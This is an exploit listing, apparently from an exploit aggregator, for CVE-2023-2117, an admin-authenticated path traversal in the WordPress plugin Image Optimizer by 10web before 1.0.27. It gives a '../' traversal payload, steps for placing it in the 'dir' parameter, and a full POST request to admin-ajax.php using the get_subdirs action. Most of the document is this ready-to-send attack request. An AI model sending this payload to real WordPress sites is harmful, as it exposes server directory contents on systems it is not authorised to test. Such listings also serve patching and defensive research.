Exploit for Image Optimizer by 10web < 1.0.27 - Admin+ Path Traversal CVE-2023-2117

Name: Exploit for Image Optimizer by 10web < 1.0.27 - Admin+ Path Traversal CVE-2023-2117
Rating: 5 (78 reviews)

2023-05-02 | CVSS 3.3

## https://sploitus.com/exploit?id=WPEX-ID:44024299-BA40-4DA7-81E1-BD44D10846F3
- Payload: ../../../../../../../../../../../../../../../../../../../
- At the "Other directory" function, select a directory -> At param "dir" add payload: ../../../../../../../../../../ ../ ../../../../../../../../../../..

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Referer: http://localhost/wordpress/wp-admin/admin.php?page=iowd_settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 102
Cookie: [Admiin+]

action=get_subdirs&nonce_iowd=xxxxxxxxxx&dir=../../../../../../../../../../../../../../../../../../../